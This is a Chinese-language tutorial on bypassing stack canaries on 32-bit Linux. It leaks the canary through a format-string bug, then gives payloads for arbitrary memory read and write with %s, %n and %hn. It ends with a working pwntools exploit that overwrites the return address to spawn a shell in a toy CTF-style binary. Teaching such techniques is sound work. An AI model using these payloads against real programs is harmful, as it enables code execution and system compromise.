0x 01 Canary保护原理及绕过 canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。通过泄露出canary进行绕过。
0x 02 例子分析 源代码:
1 2 3 4 5 6 7 8 #include<stdio.h> int main() { char str[0x20]; read(0,str,0x50); printf("My name is %s."); //printf期待下一个参数,而我们只传了一个参数,但是printf并不知道。会继续向高地址取四字节当成下一个参数 return 0; }
汇编代码:(添加Canary保护编译结果)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0x0804849b <+0>: lea ecx,[esp+0x4] //保护esp,地址中存储的返回地址数据没有变 0x0804849f <+4>: and esp,0xfffffff0 //内存对齐 0x080484a2 <+7>: push DWORD PTR [ecx-0x4] //保护esp 0x080484a5 <+10>: push ebp 0x080484a6 <+11>: mov ebp,esp 0x080484a8 <+13>: push ecx 0x080484a9 <+14>: sub esp,0x34 0x080484ac <+17>: mov eax,gs:0x14 //从gs:0x14的位置取出carry,复制给eax寄存器 0x080484b2 <+23>: mov DWORD PTR [ebp-0xc],eax //插入到ebp前面 0x080484b5 <+26>: xor eax,eax 0x080484b7 <+28>: sub esp,0x4 0x080484ba <+31>: push 0x50 0x080484bc <+33>: lea eax,[ebp-0x2c] 0x080484bf <+36>: push eax 0x080484c0 <+37>: push 0x0 0x080484c2 <+39>: call 0x8048350 <read@plt> 0x080484c7 <+44>: add esp,0x10 0x080484ca <+47>: sub esp,0xc 0x080484cd <+50>: push 0x8048580 0x080484d2 <+55>: call 0x8048360 <printf@plt> 0x080484d7 <+60>: add esp,0x10 0x080484da <+63>: mov eax,0x0 0x080484df <+68>: mov edx,DWORD PTR [ebp-0xc] //取出carry与gs:0x14进行比较 0x080484e2 <+71>: xor edx,DWORD PTR gs:0x14 0x080484e9 <+78>: je 0x80484f0 <main+85> 0x080484eb <+80>: call 0x8048370 <__stack_chk_fail@plt> 0x080484f0 <+85>: mov ecx,DWORD PTR [ebp-0x4] 0x080484f3 <+88>: leave 0x080484f4 <+89>: lea esp,[ecx-0x4] 0x080484f7 <+92>: ret
常用输出格式:
1 2 3 4 5 6 %d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数
这里需要注意一点,%s和%x的区别,
1 2 3 4 5 6 Stackframe +------------------+ | parameter1 | <- ESP (pointer to "%s" or "%x") +------------------+ | 0xdeadbeef | +------------------+
当parameter1为%s的地址时,printf会将0xdeadbeef作为地址,取0xdeadbeef指向的字符串填入%s的位置并输出;当parameter1为%x的地址时,printf会直接将0xdeadbeef填入%x的位置,也就是直接输出0xdeadbeef。
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include<stdio.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0, str, 0x50); printf(str); read(0, str, 0x50); } int main() { func(); return 0; }
此时,我们需要调试程序,让程序断在printf。查找canary距离printf第一个参数有多远,函数断在printf后栈中数据如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 gdb-peda$ stack 0x28 0000| 0xffffd620 --> 0xffffd63c ("aaa\n\377\377\377\377/") 0004| 0xffffd624 --> 0xffffd63c ("aaa\n\377\377\377\377/") 0008| 0xffffd628 --> 0x50 ('P') 0012| 0xffffd62c --> 0x804828a ("__libc_start_main") 0016| 0xffffd630 --> 0x0 0020| 0xffffd634 --> 0xffffd6d4 --> 0xb21e8355 0024| 0xffffd638 --> 0xf7fb5000 --> 0x1b1db0 0028| 0xffffd63c ("aaa\n\377\377\377\377/") 0032| 0xffffd640 --> 0xffffffff 0036| 0xffffd644 --> 0x2f ('/') 0040| 0xffffd648 --> 0xf7e0fdc8 --> 0x2b76 ('v+') 0044| 0xffffd64c --> 0xf7fd31b0 --> 0xf7e03000 --> 0x464c457f 0048| 0xffffd650 --> 0x8000 0052| 0xffffd654 --> 0xf7fb5000 --> 0x1b1db0 0056| 0xffffd658 --> 0xf7fb3244 --> 0xf7e1b020 (<_IO_check_libio>: ) 0060| 0xffffd65c --> 0xc4793000 0064| 0xffffd660 --> 0x1 0068| 0xffffd664 --> 0x1 0072| 0xffffd668 --> 0xffffd688 --> 0x0 0076| 0xffffd66c --> 0x804857b (<main+33>: mov eax,0x0) 0080| 0xffffd670 --> 0x1 0084| 0xffffd674 --> 0xffffd734 --> 0xffffd86b ("/home/hw/桌面/PWN/02") 0088| 0xffffd678 --> 0xffffd73c --> 0xffffd882 ("TERM=xterm-256color") 0092| 0xffffd67c --> 0xc4793000 0096| 0xffffd680 --> 0xf7fb53dc --> 0xf7fb61e0 --> 0x0
打印输出一下carry的信息的地址
1 2 gdb-peda$ p $ebp-0xc $2 = (void *) 0xffffd65c
距离第一个参数有60字节,也就是15个参数的长度,所以要读canary我们的payload为%15x。
1.任意地址读:
根据先前的知识,我们只需要把最后一个%08x换成%s就可以读取0x61616161地址的数据,注意这个0x61616161是我们可以控制的内容,就是我们输入的前四个字节且这四个字节就是读取的地址。所以,可以通过替换这个payload的前四个字节完成任意地址读。
这个payload也可以简化为aaaa%7$s,这里的7$的意思就是取printf的第七个参数(0x61616161),如果这里要用等宽输出的话payload就变成这样了aaaa%7$08x,结果会输出aaaa61616161。
2.任意地址写:
我们先了解一下%n的作用。%n是将输出的字符的个数写入到内存中。
根据上述知识,当payload为aaaa%7$n时,输出的字符数量为4,程序会将4写入0x61616161指向的内存中。如果我们需要写更大的数就得用等宽输出来实现了。假设,我们需要向0x61616161写入100,则payload就变成了aaaa%7$0100n。
任意地址写还有一个问题就是,如果我们要写一个很大的数,比如要将0x8048320写入0x61616161,这个16进制对应的十进制数为134513440,也就是说需要在输出134513440个字符。不用多想,程序肯定会崩溃。
如果遇到这种情况怎么办呢?我们可以通过%hn来两字节两字节写入。在上面的例子中,我们将0x8048320拆分为高两字节0x804和低两字节0x8320,将0x804也就是十进制2052写入0x61616161 – 0x61616162;将0x8320也就是十进制33568写入0x61616163 – 0x61616164。分两次写入就可以完成大数的写入了。
参考:https://www.anquanke.com/post/id/85203
泄露carry数据:
1 2 3 root@hw-virtual-machine:/home/hw/桌面/PWN# ./02 %15$08x cdb3e300
分析:0xffffd63c地址是第一个参数数据的实际地址,0xffffd65c是carry的地址,偏移量是32字节,0xffffd668是函数的返回地址,偏移量是12个字节
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * elf = ELF("./c") p = process("./c") shell_addr = elf.symbols["exploit"] payload = "%15$08x" p.sendline(payload) ret = p.recv() canary = ret[:8] print canary payload = 'a' * 32 payload += (canary.decode("hex"))[::-1] # 小端模式反转 payload += 'a' * 12 payload += p32(shell_addr) p.send(payload) p.interactive()
参考资料:大小端的判断及转换